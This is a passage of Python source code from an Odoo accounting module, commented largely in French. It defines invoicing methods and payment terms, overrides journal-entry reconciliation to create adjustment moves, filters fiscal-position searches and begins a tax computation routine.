'Percent'),\n                ('balance', 'Balance'),\n                ('fixed', 'Fixed Amount')]\n        \n    \n    @api.model\n    def _invoice_trigger_get(self):\n        return [\n            ('picking', _('To the delivery')),\n            ('manual', _('On demand')),\n            ('postpaid', _('On the order')),\n               ]\n        \n        \n    @api.model\n    def _account_invoiced_on_get(self):\n        return [\n            ('order', _('Ordered quantities')),\n            ('delivery', _('Delivered quantities')),\n               ]\n        \n        \n    #===========================================================================\n    # COLUMNS\n    #===========================================================================\n    sequence = fields.Integer(default=0, required=True, help='The sequence field is used to order the payment term lines from the lowest sequences to the higher ones')\n    value = fields.Selection('_value_get', string='Valuation', required=True, default='balance', help='Select here the kind of valuation related to this payment term line. Note that you should have your last line with the type \\'Balance\\' to ensure that the whole amount will be threated.')\n    value_amount = fields.Float(string='Amount To Pay', digits_compute=dp.get_precision('Payment Term'), default=0.0, required=False, help='For percent enter a ratio between 0-1.')\n    invoicing_method_id = fields.Many2one('account.invoicing.method', 'Invoicing method', required=True, select=True, ondelete='cascade')\n    payment_term_id = fields.Many2one('account.payment.term', string='Forced payment term', required=False, ondelete='restrict', help='Payment term for the invoice generated by this line (if field is empty, the invoice will have the order payment term)')\n    invoice_trigger = fields.Selection('_invoice_trigger_get', string='Invoicing method trigger', required=True)\n    account_invoiced_on = fields.Selection('_account_invoiced_on_get', string='Invoiced on', required=True, default='order')\n    product_id = fields.Many2one('product.product', string='Product', required=False, ondelete='restrict')\n    \n    \n    @api.one\n    @api.constrains('invoice_trigger', 'account_invoiced_on')\n    def _check_function(self):\n        if self.invoice_trigger != 'picking' and self.account_invoiced_on == 'delivery':\n            raise Warning(_('Error! Impossible to invoice on delivered quantities if the invoice trigger is not on delivery.'))\n        \n\n    @api.onchange('invoice_trigger')\n    def _onchange_invoice_trigger(self):\n        if self.invoice_trigger != 'picking':\n            self.account_invoiced_on = 'order'\n        elif self.invoice_trigger == 'picking':\n            self.account_invoiced_on = 'delivery'\n            \n            \n    @api.onchange('value', 'value_amount')\n    def _onchange_value(self):\n        res = {}\n        if self.value == 'procent':\n            if self.value_amount < 0:\n                self.value_amount = 0\n                res = {'warning': {'title': _('Warning'), 'message': _('Error! The percentage must be between 0 and 1.')}}\n            elif self.value_amount > 1:\n                self.value_amount = 1\n                res = {'warning': {'title': _('Warning'), 'message': _('Error! The percentage must be between 0 and 1.')}}\n        \n        return res\n            \n     \n        \nclass account_invoicing_method(models.Model):\n    \"\"\"\n        Méthode de facturation\n    \"\"\"\n    _name = 'account.invoicing.method'\n    _sql_constraints = [('invoicing_method_name_unique', 'unique(name)', 'Invoicing method name already exists')]\n    @api.one\n    @api.constrains('line_ids')\n    def _check_balance(self):\n        balance_rs = self.env['account.invoicing.method.line'].search([('invoicing_method_id', '=', self.id),\n                                                                       ('value', '=', 'balance')])\n        if len(balance_rs) != 1:\n            raise ValidationError(_('You must to have one and only one balance line'))\n        elif balance_rs.invoice_trigger != 'picking':\n            if self.env['account.invoicing.method.line'].search([('invoicing_method_id', '=', self.id),\n                                                                 ('invoice_trigger', '=', 'picking')], limit=1):\n                raise ValidationError(_('Impossible to have a balance before delivery with an invoicing method line on delivery'))\n            \n            \n        \n    #===========================================================================\n    # COLUMNS\n    #===========================================================================\n    name = fields.Char(size=128, required=True)\n    active = fields.Boolean(default=True)\n    payment_line_ids = fields.One2many('account.invoicing.method.payment.line', 'invoicing_method_id', 'Terms', copy=True)\n    line_ids = fields.One2many('account.invoicing.method.line', 'invoicing_method_id', 'Invoicing', copy=True)\n    note = fields.Text()\n\n    \n    def get_invoiced_on(self, invoice_trigger): \n        line_rs =  self.env['account.invoicing.method.line'].search([('invoicing_method_id', '=', self.id), ('invoice_trigger', '=', invoice_trigger)], limit=1)\n        if line_rs:\n            res = line_rs.account_invoiced_on\n        else:\n            res = False\n            \n        return res\n    \n    \n    def get_total_amount(self, compute_type, payment_type, amount):\n        \"\"\"\n            Calcul du montant à payer / facturer en fonction des conditions de paiement\n            :param compute_type: char: 'payment' ou 'invoice'\n            :param payment_type: Type de paiement (commande ou livraison)\n            :param amount: Montant de base\n            :return: True\n        \"\"\"\n        res = 0.0\n        if compute_type == 'payment':\n            for payment_line in self.env['account.invoicing.method.payment.line'].search([('invoicing_method_id', '=', self.id), ('payment_type', '=', payment_type)]):\n                if payment_line.value == 'procent':\n                    res += amount * payment_line.value_amount\n                elif payment_line.value == 'fixed':\n                    res += payment_line.value_amount\n                    \n        return res\n    \n    \n    def get_invoice_percentage(self, invoice_trigger):\n        \"\"\"\n            Calcul pourcentage à facturer\n            :param invoice_trigger: char: 'picking', 'manual' ou 'postpaid'\n            :return: True\n        \"\"\"\n        if invoice_trigger:\n            res = 0.0\n            for line in self.env['account.invoicing.method.line'].search([('invoicing_method_id', '=', self.id), \n                                                                          ('invoice_trigger', '=', invoice_trigger),\n                                                                          ('value', 'in', ('procent', 'balance'))]):\n                if line.value == 'procent':\n                    res += line.value_amount\n                elif line.value == 'balance':\n                    res = 1.0\n                    break\n        \n        else:\n            res = 1.0\n        \n        return res\n    \n    \n    def get_invoice_fixed_amount(self, invoice_trigger):\n        \"\"\"\n            Calcul pourcentage à facturer\n            :param invoice_trigger: char: 'picking', 'manual' ou 'postpaid'\n            :return: True\n        \"\"\"\n        res = []\n        if invoice_trigger:\n            fixed_amount_sums = self.env['account.invoicing.method.line'].search_group(fields=['value_amount', 'product_id'], \n                                                                                      groupby=['product_id'], \n                                                                                      args=[('invoicing_method_id', '=', self.id), \n                                                                                            ('invoice_trigger', '=', invoice_trigger),\n                                                                                            ('value', '=', 'fixed')],\n                                                                                      sum=['value_amount'],\n                                                                                      return_dict=True,\n                                                                                      without_order=True)\n            for fixed_amount_sum in fixed_amount_sums:\n                res.append((fixed_amount_sum['value_amount'] or 0.0, fixed_amount_sum['product_id']))\n\n        return res\n    \n    \n    @api.multi\n    def copy(self, default=None):\n        \"\"\"\n            Changement du nom\n        \"\"\"\n        if not default:\n            default = {}\n        \n        if 'name' not in default:\n            default['name'] = '%s (copy)'%(self.name)\n            \n        return super(account_invoicing_method, self).copy(default=default)\n    \n\n\nclass payment_method(models.Model):\n    \"\"\" \n    Payment method\n    \"\"\"\n    _name = 'payment.method'\n    _description = 'Payment method'\n    \n    #===========================================================================\n    # COLUMNS\n    #===========================================================================\n    name = fields.Char(size=64, required=True)\n\n\n\nclass account_journal(models.Model):\n    _inherit = 'account.journal'\n    \n    #===========================================================================\n    # COLUMNS\n    #===========================================================================\n    is_default = fields.Boolean(string='Is default', default=False, help=\"Check if you want this journal for automatic payments\")\n\n    \n    \nclass account_move(models.Model):\n    _inherit = 'account.move'\n    \n    @api.multi\n    def button_cancel(self):\n        if self.env.context.get('manual_move_cancel'):\n            for move in self:\n                if move.voucher_id:\n                    raise ValidationError(_('Unable to manually cancel an account move linked to a voucher.'))                    \n                else:\n                    for move_line in move.line_id:\n                        if move_line.invoice:\n                            raise ValidationError(_('Unable to manually cancel an account move linked to an invoice.'))                    \n        \n        return super(account_move, self).button_cancel()\n    \n    \n\nclass account_move_line(models.Model):\n    _inherit = 'account.move.line'\n    \n    \n    #===========================================================================\n    # COLUMNS\n    #===========================================================================\n    is_adjustment = fields.Boolean(string='Is adjustment', default=False, readonly=True, \n                                   help=\"Checked if the account move line is an adjustment\")\n    reconcile_origin_id = fields.Many2one('account.move.reconcile', string='Origin reconcile', required=False, ondelete='set null',\n                                          readonly=True)\n    \n    \n    def voucher_line_reconcile(self):\n        \"\"\"\n            Fonction permettant de récupérer les écritures comptables des paiements et des factures afin de faire le lien\n            dans l'objet des paiements \n        \"\"\"\n        context = self.env.context\n        move_id_list = []\n        #Si on a passé l'id d'une facture, une liste de paiement et leur montant à lettrer, on les récupère pour lancer la fonction de \n        #création de lignes de paiement, sinon on lance la fonction de création avec les écritures comptables\n        voucher_obj = self.env['account.voucher']\n        # Depuis le wizard\n        if context.get('payment_lines') and context.get('invoice_id'):\n            invoice_rs = self.env['account.invoice'].browse(context['invoice_id'])\n            #Gestion du passage des ids en unicode\n            payment_dict = {}\n            for payment_id, amount in context['payment_lines'].items():\n                if isinstance(payment_id, int):\n                    payment_dict[payment_id] = amount\n                elif isinstance(payment_id, unicode):\n                    payment_dict[int(payment_id)] = amount\n            \n            if payment_dict:\n                payment_list = voucher_obj.browse(payment_dict.keys())\n                payment_list.create_voucher_line(move_line_list=False, invoice_rs=invoice_rs, pay_amount_to_reconcile=payment_dict)\n        # Manuel\n        else:\n            list_ids = self.ids\n            move_list = []\n            move_line_list = []\n            pay_amount_to_reconcile = {}\n            payment_rs = self.env['account.voucher']\n            #On recherche les paiements liés aux mouvements et les écritures comptables liées à une facture\n            for move_line in self:\n                if move_line.move_id:\n                    move_list.append(move_line.move_id)\n                    \n                if move_line.invoice:\n                    move_line_list.append(move_line)\n            \n            if move_list:\n                move_list = list(set(move_list))\n            \n            #En cas d'écritures d'ajustement, on lie les montants aux bons paiements\n            #Pour cela on recherche d'abord le montant correct en parcourant les pièces comptables\n            for move in move_list:\n                tot_debit = 0\n                tot_credit = 0\n                amount_not_rec_debit = 0\n                amount_not_rec_credit = 0\n                move_id_list.append(move.id)\n                if move.voucher_id:\n                    pay_amount = 0\n                    adjust_rec = False\n                    for line in move.line_id:\n                        if line.is_adjustment and (not line.reconcile_id and not line.reconcile_partial_id):\n                            if not line.id in list_ids:\n                                amount_not_rec_debit += line.debit\n                                amount_not_rec_credit += line.credit\n                            else:\n                                tot_debit += line.debit\n                                tot_credit += line.credit\n                                    \n                    if amount_not_rec_debit > 0 or tot_credit > 0:\n                        pay_amount = tot_credit - amount_not_rec_debit\n                        adjust_rec = True\n                    elif amount_not_rec_credit > 0 or tot_debit > 0:\n                        pay_amount = tot_debit - amount_not_rec_credit\n                        adjust_rec = True\n                    \n                    if adjust_rec:\n                        if not move.voucher_id.id in pay_amount_to_reconcile:\n                            pay_amount_to_reconcile[move.voucher_id.id] = abs(pay_amount)\n                        else:\n                            pay_amount_to_reconcile[move.voucher_id.id] = 0\n            \n            payment_search_rs = voucher_obj.search([('account_move_ids', 'in', move_id_list)])\n            if move_line_list:\n                for payment in payment_search_rs:\n                    if payment.writeoff_amount > 0:\n                        payment_rs += payment\n                \n                payment_rs.create_voucher_line(move_line_list=move_line_list, invoice_rs=False, pay_amount_to_reconcile=pay_amount_to_reconcile)\n                \n        return True\n    \n    \n    @api.multi\n    def reconcile(self, type='auto', writeoff_acc_id=False, writeoff_period_id=False, writeoff_journal_id=False):\n        \"\"\"\n            Surcharge de la fonction de lettrage afin de permettre la création des lignes de\n            paiement afin de rattacher une ou des factures au paiement\n        \"\"\"\n        self.voucher_line_reconcile()\n        reconcile_id = super(account_move_line, self).reconcile(type=type, writeoff_acc_id=writeoff_acc_id, \n                                                       writeoff_period_id=writeoff_period_id, writeoff_journal_id=writeoff_journal_id)\n        if reconcile_id:\n            reconcile_rs = self.env['account.move.reconcile'].browse(reconcile_id)\n            partner_list = [line.partner_id.id for line in reconcile_rs.line_id if line.partner_id]\n            partner_diff = partner_list and list(set(partner_list)) or []\n            if partner_diff and len(partner_diff) > 1:\n                reconcile_rs.different_partner_reconcile(reconcile_id)\n            \n        return reconcile_rs\n    \n    \n    @api.multi\n    def reconcile_partial(self, type='auto', writeoff_acc_id=False, writeoff_period_id=False, writeoff_journal_id=False):\n        \"\"\"\n            Surcharge de la fonction de lettrage partiel afin de permettre la création des lignes de\n            paiement pour rattacher une ou des factures au paiement\n        \"\"\"\n        self.voucher_line_reconcile()\n        res = super(account_move_line, self).reconcile_partial(type=type, writeoff_acc_id=writeoff_acc_id, \n                                                       writeoff_period_id=writeoff_period_id, writeoff_journal_id=writeoff_journal_id)\n        return res\n    \n    \n    @api.multi\n    def openprod_adjust_reconcile(self, move_line_list=False, move_amount_to_reconcile=False):\n        \"\"\"\n            Fonction permettant de créer automatiquement des écritures comptables d'ajustement lorsqu'on\n            souhaite lettrer un montant supérieur au montant de la ou des factures.\n            On envoie soit une liste d'écritures comptable à lettrer, soit une écriture de facture avec des écritures \n            à lettrer et le montant correspondant\n            :type self: account.move.line (écritures des factures ou avoirs à lettrer)\n            :param move_line_list: Liste de recordset de account.move.line à lettrer avec les factures ou les avoirs\n            :type move_line_list: List\n            :param move_amount_to_reconcile: Dictionnaire contenant le montant à lettrer pour chaque écriture\n            :type move_amount_to_reconcile: dictionnaire à lettrer\n            :rtype: List, recordset de account.move.line\n        \"\"\"\n        move_line_dict = {}\n        moves_to_reconcile = self.env['account.move.line']\n        moves_not_reconcile = self.env['account.move.line']\n        today_date = fields.Date.today()\n        account_move_obj = self.env['account.move']\n        period_obj = self.env['account.period']\n        voucher_obj = self.env['account.voucher']\n        #On crée un dictionnaire contenant l'écriture comptable ainsi que le montant restant à lettrer de chacune\n        if move_line_list:\n            move_line_dict = {move_line: move_line.amount_residual for move_line in move_line_list}\n        \n        if move_line_dict:\n            #On récupère le montant total des écritures correspondant aux factures (ou aux avoirs)\n            amount_invoiced_list = [invoice_move_line.amount_residual for invoice_move_line in self]\n            residual_amount = sum(amount_invoiced_list)\n            for line, remaining_amount in move_line_dict.items(): \n                #Si on a passé un montant à lettrer on récupère celui-ci, sinon on va ajouter le montant de\n                #l'écriture comptable en la déduisant \n                # Lettrage par le wizard\n                if move_amount_to_reconcile and line.id in move_amount_to_reconcile:\n                    move_line_dict[line] -= move_amount_to_reconcile[line.id]\n                # Lettrage manuel\n                else:\n                    line_amount = remaining_amount\n                    write_amount = 0\n                    if residual_amount > 0:\n                        if residual_amount - line_amount >= 0:\n                            write_amount = line_amount\n                        else:\n                            write_amount = line_amount + (residual_amount - line_amount)\n                    \n                    else:\n                        write_amount = 0\n                        \n                    residual_amount -= write_amount\n                    move_line_dict[line] -= write_amount\n                        \n            #On récupère toutes les écritures de paiement dont le montant n'a pas été totalement lettré\n            last_pay_moves = [move_line_rs for move_line_rs in move_line_dict.keys() if move_line_dict[move_line_rs] > 0]\n            #On va créer une pièce comptable ainsi que toutes les écritures comptables à lettrer par \n            #écritures à ajuster\n            for pay_move_line in last_pay_moves:\n                pay_move = pay_move_line.move_id\n                if pay_move:\n                    #Si l'écriture comptable est liée à un paiement, on lie aussi la nouvelle pièce comptable\n                    #à ce paiement\n                    if pay_move.voucher_id:\n                        linked_payment = pay_move.voucher_id\n                    else:\n                        linked_payment = voucher_obj.search([('number', '=', pay_move.name), \n                                                             ('account_move_ids', 'in', pay_move.id)], limit=1)\n                    voucher_id = linked_payment and linked_payment.id or False\n                    #Création de la pièce comptable\n                    period_rs = period_obj.find(today_date)\n                    move_name = _('%s adjustment')%(pay_move.name)\n                    move_vals = {\n                        'name': move_name,\n                        'journal_id': pay_move.journal_id.id,\n                        'narration': pay_move.narration,\n                        'date': today_date,\n                        'ref': pay_move.ref,\n                        'period_id': period_rs.id,\n                        'voucher_id': voucher_id,\n                    }\n                    new_move = account_move_obj.create(move_vals)\n                    # Création de l'écriture comptable\n                    moves_to_reconcile_list, move_not_reconcile = self.create_move_line_from_ex(pay_move_line, move_line_dict[pay_move_line], new_move)\n                    for move_rec in moves_to_reconcile_list:\n                        if move_rec:\n                            moves_to_reconcile += move_rec\n                        \n                    moves_not_reconcile += move_not_reconcile\n                        \n                    # Validation de la pièce comptable\n                    new_move.post()\n        \n        return moves_to_reconcile, moves_not_reconcile\n    \n    \n    def create_move_line_from_ex(self, move_pattern, remaining_amount, move):\n        \"\"\"\n            Fonction permettant de créer trois écritures comptables.\n            On lui passe une écriture modèle, le montant restant sur cette écriture \n            et la pièce comptable à rattacher aux écritures\n            Retourne les écritures à lettrer et l'écriture à ne pas lettrer séparément\n        \"\"\"\n        context = self.env.context\n        context2 = {}\n        #Création d'un dictionnaire pour ne pas avoir à répéter le même code 3 fois\n        #Les deux premières écritures seulement sont à lettrer\n        #1 : Création de la ligne 'annulant' celle du paiement\n        #2 : Création de la ligne correspondant au montant à lettrer\n        #3 : Création de la ligne du montant restant de l'écriture \n        vals_list = {'first_to_reconcile' : \n                        {'amount_currency': move_pattern.amount_currency, \n                         'amount': move_pattern.amount_residual},\n                     'second_to_reconcile':\n                        {'amount': (move_pattern.amount_residual or remaining_amount) - (remaining_amount)},\n                      'third_not_reconcile':\n                        {'amount': remaining_amount}}\n        context2.update(context)\n        context2['novalidate'] = True\n        for dict_key, dict_val in vals_list.items():\n            if dict_val.get('amount_currency'):\n                amount_currency = dict_val['amount_currency']\n            else:\n                amount_currency = dict_val.get('amount', 0)\n            \n            if dict_val.get('amount'):\n                move_line_vals = {\n                    'journal_id': move_pattern.journal_id.id,\n                    'period_id': move.period_id.id,\n                    'name': move.name,\n                    'account_id': move_pattern.account_id.id,\n                    'move_id': move.id,\n                    'partner_id': move_pattern.partner_id.id,\n                    'currency_id': move_pattern.currency_id.id,\n                    'quantity': 1,\n                    'state': 'valid',\n                    'date': move.date,\n                    'is_adjustment': True,\n                }\n                if move_pattern.debit > 0:\n                    if dict_key == 'first_to_reconcile':\n                        move_line_vals['credit'] = dict_val.get('amount', 0)\n                        move_line_vals['debit'] = 0\n                    else:\n                        move_line_vals['debit'] = dict_val.get('amount', 0)\n                        move_line_vals['credit'] = 0\n                elif move_pattern.credit > 0:\n                    if dict_key == 'first_to_reconcile':\n                        move_line_vals['credit'] = 0\n                        move_line_vals['debit'] = dict_val.get('amount', 0)\n                    else:\n                        move_line_vals['debit'] = 0\n                        move_line_vals['credit'] = dict_val.get('amount', 0)\n                \n                if move_pattern.currency_id:\n                    move_line_vals['amount_currency'] = amount_currency\n                \n                dict_val['move_line_to_reconcile'] = self.with_context(context2).create(move_line_vals)\n        \n        #Écritures à lettrer\n        move_to_reconcile = [vals_list[key].get('move_line_to_reconcile', False) for key in vals_list.keys() if key in ['first_to_reconcile', 'second_to_reconcile']]\n        #Écriture à ne pas lettrer\n        move_not_reconcile = vals_list['third_not_reconcile'].get('move_line_to_reconcile')\n        return move_to_reconcile, move_not_reconcile\n\n\n\nclass account_move_reconcile(models.Model):\n    _inherit = 'account.move.reconcile'\n    \n    \n    @api.multi\n    def unlink(self):\n        \"\"\"\n            Surcharge du unlink pour supprimer les pièces comptables d'ajustement\n        \"\"\"\n        move_line_obj = self.env['account.move.line']\n        unlink_move_list = self.env['account.move']\n        move_list = self.env['account.move']\n        list_ids = self.ids\n        move_list_ids = []\n        \n        #On récupère toutes les écritures comptables liées aux lettrages: celles d'ajustement créée pour le lettrage\n        #mais qui n'en font pas parties et celles qui font parties du lettrage\n        move_line_rs = move_line_obj.search(['|', ('reconcile_id', 'in', list_ids), \n                                             '|', ('reconcile_origin_id', 'in', list_ids), ('reconcile_partial_id', 'in', list_ids)])\n        #On récupère deux listes de pièces comptable: l'une correspondant aux ajustements qui est à supprimer et l'autre\n        #qui correspond à toutes les pièces comptables liées au lettrage\n        for move_line in move_line_rs:\n            move_list_ids.append(move_line.id)\n            #Si on a une écriture qui est lettrée avec un lettrage (total ou partiel) qui n'est pas à supprimer, on renvoi un message d'erreur\n            if (move_line.reconcile_id and move_line.reconcile_id.id not in list_ids) or (move_line.reconcile_partial_id and move_line.reconcile_partial_id.id not in list_ids):\n                raise ValidationError(_('Some adjustment account move line have been reconciled (partially or totally) with other account move line. ' \n                'Please, delete this reconciles first'))\n            \n            elif move_line.is_adjustment and move_line.reconcile_origin_id.id in list_ids and move_line.move_id not in unlink_move_list:\n                unlink_move_list += move_line.move_id\n            elif move_line.move_id not in move_list:\n                move_list += move_line.move_id\n        \n        move_list += unlink_move_list\n        res = super(account_move_reconcile, self).unlink()\n        #On recherche et on supprime toutes les lignes de paiement générées par le lettrage \n        voucher_line_rs = self.env['account.voucher.line'].search([('move_line_id', 'in', move_list_ids), \n                                                                   ('voucher_id.account_move_ids', 'in', move_list.ids)])\n        voucher_line_rs.unlink()\n        #On parcourt toutes les pièces comptables à supprimer \n        for move_rs in unlink_move_list:\n            line_rs_to_unlink = self.env['account.move.line']\n            line_ids_not_unlink = []\n            #Annulation des pièces comptables pour permettre suppression des lignes \n            move_rs.button_cancel()\n            for line in move_rs.line_id:\n                if line not in move_line_rs:\n                    line_ids_not_unlink.append(line.id)\n                else:\n                    line_rs_to_unlink |= line\n            \n            if line_ids_not_unlink:\n                line_rs_to_unlink.unlink()\n            else:\n                #Suppression de la pièce comptable\n                move_rs.unlink()\n                    \n        return res\n    \n    \n    @api.one\n    def different_partner_reconcile(self, origin_reconcile_id=False):\n        \"\"\"\n            Fonction permettant de créer une pièce comptable contenant des écritures qui ajustent les \n            comptes dans le cas de payeurs et facturés différents dans le lettrage. On va copier\n            les écritures comptables qui permettent d'équilibrer les comptes\n            :type self: account.move.reconcile\n            :param origin_reconcile_id: id du lettrage à l'origine de l'ajustement\n            :type origin_reconcile_id: integer\n            :return: True\n            :rtype: boolean\n        \"\"\"\n        today_date = fields.Date.today()\n        account_move_obj = self.env['account.move']\n        account_move_line_obj = self.env['account.move.line']\n        period_rs = self.env['account.period'].find(today_date)\n        dict_from_reconcile = {}\n        context = self.env.context\n        context2 = {}\n        context2.update(context)\n        context2['novalidate'] = True\n        journal_id = False\n        #On commence par enlever les écritures que l'on ne copie pas et par récupérer celles que l'on copie\n        #grâce à un dictionnaire de la forme:\n        #{(id_partenaire, montant_écriture, 'débit' ou 'crédit'): recordset de la ligne de lettrage}\n        #Pour ça, on crée une clé et une clé inverse pour chaque ligne, et si cette clé\n        #inverse existe dans le dictionnaire, on supprime l'entrée correspondant à cette clé.\n        #Permet de gérer les cas d'ajustements\n        i = 0\n        for rec_line in self.line_id:\n            i+=1\n            if not journal_id and rec_line.journal_id.type in ['purchase', 'sale']:\n                journal_id = rec_line.journal_id.id\n                \n            if rec_line.debit:\n                amount_line = rec_line.debit\n                type_line = 'debit'\n                inv_type_line = 'credit'\n            else:\n                amount_line = rec_line.debit or rec_line.credit\n                type_line = 'credit'\n                inv_type_line = 'debit'\n                \n            # key et inv_key servent à detecter les lignes déja équilibrées\n            key = (rec_line.partner_id.id, amount_line, type_line)\n            inv_key = (rec_line.partner_id.id, amount_line, inv_type_line)\n            if inv_key in dict_from_reconcile:\n                # Suppression des lignes déjà équilibrées\n                del dict_from_reconcile[inv_key]\n            elif key in dict_from_reconcile.keys():\n                # Traitement des lignes non équilibrées\n                # Gestion des lignes semblables \n                key += (i, )\n                dict_from_reconcile[key] = rec_line\n            else:\n                dict_from_reconcile[key] = rec_line\n        \n        if journal_id and period_rs:\n            #On crée une pièce comptable globale\n            move_vals = {\n                'name': _('%s partner adjustment')%(self.name),\n                'journal_id': journal_id,\n                'date': today_date,\n                'ref': self.name,\n                'period_id': period_rs.id,\n            }\n            new_move = account_move_obj.create(move_vals)\n            #On crée une ligne d'ajustement pour chaque ligne trouvée précédemment\n            for line_rs in dict_from_reconcile.values():\n                move_line_vals = {\n                    'journal_id': journal_id,\n                    'period_id': period_rs.id,\n                    'name': _('%s partner adjustment')%(line_rs.name),\n                    'account_id': line_rs.account_id.id,\n                    'move_id': new_move.id,\n                    'partner_id': line_rs.partner_id.id,\n                    'currency_id': line_rs.currency_id.id,\n                    'quantity': 1,\n                    'state': 'valid',\n                    'date': today_date,\n                    'reconcile_id': self.id,\n                    'is_adjustment': True,\n                    'reconcile_origin_id': origin_reconcile_id,\n                }\n                if line_rs.credit > 0:\n                    move_line_vals['debit'] = line_rs.credit\n                    move_line_vals['credit'] = 0\n                elif line_rs.debit > 0:\n                    move_line_vals['credit'] = line_rs.debit\n                    move_line_vals['debit'] = 0\n                \n                amount_currency = line_rs.amount_currency\n                if line_rs.currency_id:\n                    if move_line_vals['debit'] > 0 and amount_currency < 0:\n                        amount_currency /= -1\n                    elif move_line_vals['credit'] > 0 and amount_currency > 0:\n                        amount_currency /= -1\n                        \n                    move_line_vals['amount_currency'] = amount_currency\n                \n                account_move_line_obj.with_context(context2).create(move_line_vals)\n\n            new_move.post()\n            \n        return True\n    \n    \n    def find_cust_partners(self, partner_id):\n        \"\"\"\n            Anticipation du module sale, permettra de gérer les payeurs\n            et facturés des clients\n            :type self: account.move.reconcile\n            :param partner_id: id du partenaire\n            :type partner_id: integer\n            :return: Liste d'ids de partenaire\n            :rtype: list\n        \"\"\"\n        return []\n    \n    \n    def find_supp_partners(self, partner_id):\n        \"\"\"\n            Anticipation du module purchase, permettra de gérer les payés à\n            et factureurs des fournisseurs\n            :type self: account.move.reconcile\n            :param partner_id: id du partenaire\n            :type partner_id: integer\n            :return: Liste d'ids de partenaire\n            :rtype: list\n        \"\"\"\n        return []\n    \n    \n    @api.multi\n    def _check_same_partner(self):\n        \"\"\"\n            On écrase la fonction de odoo pour prendre en compte les payeurs et facturés des clients\n            et les payés à et factureurs des fournisseurs\n        \"\"\"\n        for reconcile in self:\n            move_lines = []\n            can_reconcile = False\n            if not reconcile.opening_reconciliation:\n                partners_rs = []\n                if reconcile.line_id:\n                    partners_rs = [line.partner_id.id for line in reconcile.line_id]\n                    move_lines = reconcile.line_id\n                elif reconcile.line_partial_ids:\n                    partners_rs = [line.partner_id.id for line in reconcile.line_partial_ids]\n                    move_lines = reconcile.line_partial_ids\n                \n                if partners_rs:\n                    unique_list = list(set(partners_rs))\n                    partners_rs = unique_list[:] \n                    partners_ids = unique_list[:]\n                    partners_ids.sort()\n                    if len(partners_rs) > 1:\n                        for partner_id in partners_rs:\n                            paid_by_rs = self.find_cust_partners(partner_id)\n                            supp_paid_by_rs = self.find_supp_partners(partner_id)\n                            paid_by_rs.extend(supp_paid_by_rs)\n                            paid_by_ids = list(set(paid_by_rs))\n                            paid_by_ids.append(partner_id)\n                            paid_by_ids.sort()\n                            if (partners_ids or paid_by_ids):\n                                rec = True\n                                for p_id in partners_ids:\n                                    if not p_id in paid_by_ids:\n                                        rec = False\n                                        break\n                                \n                                if rec:\n                                    can_reconcile = True\n                        \n                        for line in move_lines:\n                            if line.account_id.type in ('receivable', 'payable') and not can_reconcile:\n                                return False\n                \n        return True\n    \n    \n    _constraints = [\n        (_check_same_partner, 'You can only reconcile journal items with the same partner.', ['line_id', 'line_partial_ids']),\n    ]\n\n\n\nclass account_fiscal_position(models.Model):\n    _inherit = 'account.fiscal.position'\n\n\n    def compute_domain_args(self, args):\n        #Fonction appelée par le search afin d'empécher la sélection d'une autre position\n        #fiscale après création d'une ligne\n        args2 = []\n        for arg in args:\n            match = False\n            if isinstance(arg, str) or (isinstance(arg, list) and arg[0] in ('!', '|', '&')):\n                args2.append(arg)\n                continue\n            \n            if arg[0] == 'line_system_domain':\n                if isinstance(arg[-1], list) and arg[-1][0]:\n                    arg = ('id', '=', arg[-1][1])\n                else:\n                    match = True\n                    \n            if not match:\n                args2.append(arg)\n             \n        return args2\n \n     \n    @api.model\n    def search(self,args=None, offset=0, limit=None, order=None, count=None):\n        #Modification du search afin d'empécher la sélection d'une autre position\n        #fiscale après création d'une ligne\n        args = args or []\n        args_modified = self.compute_domain_args(args)\n        return super(account_fiscal_position,self).search(args=args_modified, offset=offset, limit=limit, order=order)\n    \n    \n    @api.model\n    def name_search(self, name, args=None, operator='ilike', limit=1000):\n        \"\"\"\n            Fonction name_search des positions fiscales\n        \"\"\"\n        args = self.compute_domain_args(args)\n        recs = self.search([('name', operator, name)] + args, limit=limit)\n        return recs.name_get()\n    \n    \n    @api.model\n    def read_group(self, domain, fields, groupby, offset=0, limit=None, orderby=False, lazy=True):\n        domain = self.compute_domain_args(domain)\n        return super(account_fiscal_position, self).read_group(domain=domain, fields=fields, groupby=groupby, offset=offset, limit=limit, orderby=orderby,lazy=lazy)\n\n\n\nclass account_tax(models.Model):\n    _inherit = 'account.tax'\n    \n    #===========================================================================\n    # COLUMNS\n    #===========================================================================\n    account_id = fields.Many2one(string='Invoice tax account (On invoice)')\n    account_payment_id = fields.Many2one('account.account', 'Invoice tax account (On payment)', help='Set the account that will be set by default on invoice tax lines for refunds. Leave empty to use the expense account.')\n    tax_on_payment = fields.Boolean(default=False)\n    refund_account_id = fields.Many2one(string='Refund Tax Account (On invoice)')\n    refund_account_payment_id = fields.Many2one('account.account', 'Refund Tax Account (On payment)', help='Set the account that will be set by default on invoice tax lines for refunds. Leave empty to use the expense account.')\n    \n    \n    def compute_all(self, price_unit, currency=None, quantity=1.0, product=None, partner=None):\n        \"\"\" Returns all information required to apply taxes (in self + their children in case of a tax goup).\n            We consider the sequence of the parent for group of taxes.\n                Eg. considering letters as taxes and alphabetic order as sequence :\n                [G, B([A, D, F]), E, C] will be computed as [A, D, F, C, E, G]\n\n        RETURN: {\n            'total_excluded': 0.0,    # Total without taxes\n            'total_included': 0.0,    # Total with taxes\n            'taxes': [{               # One dict for each tax in self and their children\n                'id': int,\n                'name': str,\n                'amount': float,\n                'sequence': int,\n                'account_id': int,\n                'refund_account_id': int,\n                'analytic': boolean,\n            }]\n        } \"\"\"\n        if len(self) == 0:\n            company_id = self.env.user.company_id\n        else:\n            company_id = self[0].company_id\n        if not currency:\n            currency = company_id.currency_id\n        taxes = []\n        # By default, for each tax, tax amount will first be computed\n        # and rounded at the 'Account' decimal precision for each\n        # PO/SO/invoice line and then these rounded amounts will be\n        # summed, leading to the total amount for that tax. But, if the\n        # company has tax_calculation_rounding_method = round_globally,\n        # we still follow the same method, but we use a much larger\n        # precision when we round the tax amount for each line (we use\n        # the 'Account' decimal precision + 5), and that way it's like\n        # rounding after the sum of the tax amounts of each line\n\n        prec = currency.decimal_places\n        if company_id.tax_calculation_rounding_method == 'round_globally':\n            prec += 5\n        total_excluded = total_included = base = round(price_unit * quantity, prec)\n        \n        for tax in self:\n            if tax.type == 'group':\n                ret = tax.children_tax_ids.compute_all(price_unit, currency, quantity, product, partner)\n                total_excluded = ret['total_excluded']\n                base = ret['total_excluded']\n                total_included = ret['total_included']\n                tax_amount = total_included - total_excluded\n                taxes += ret['taxes']\n                continue\n\n            tax_amount = 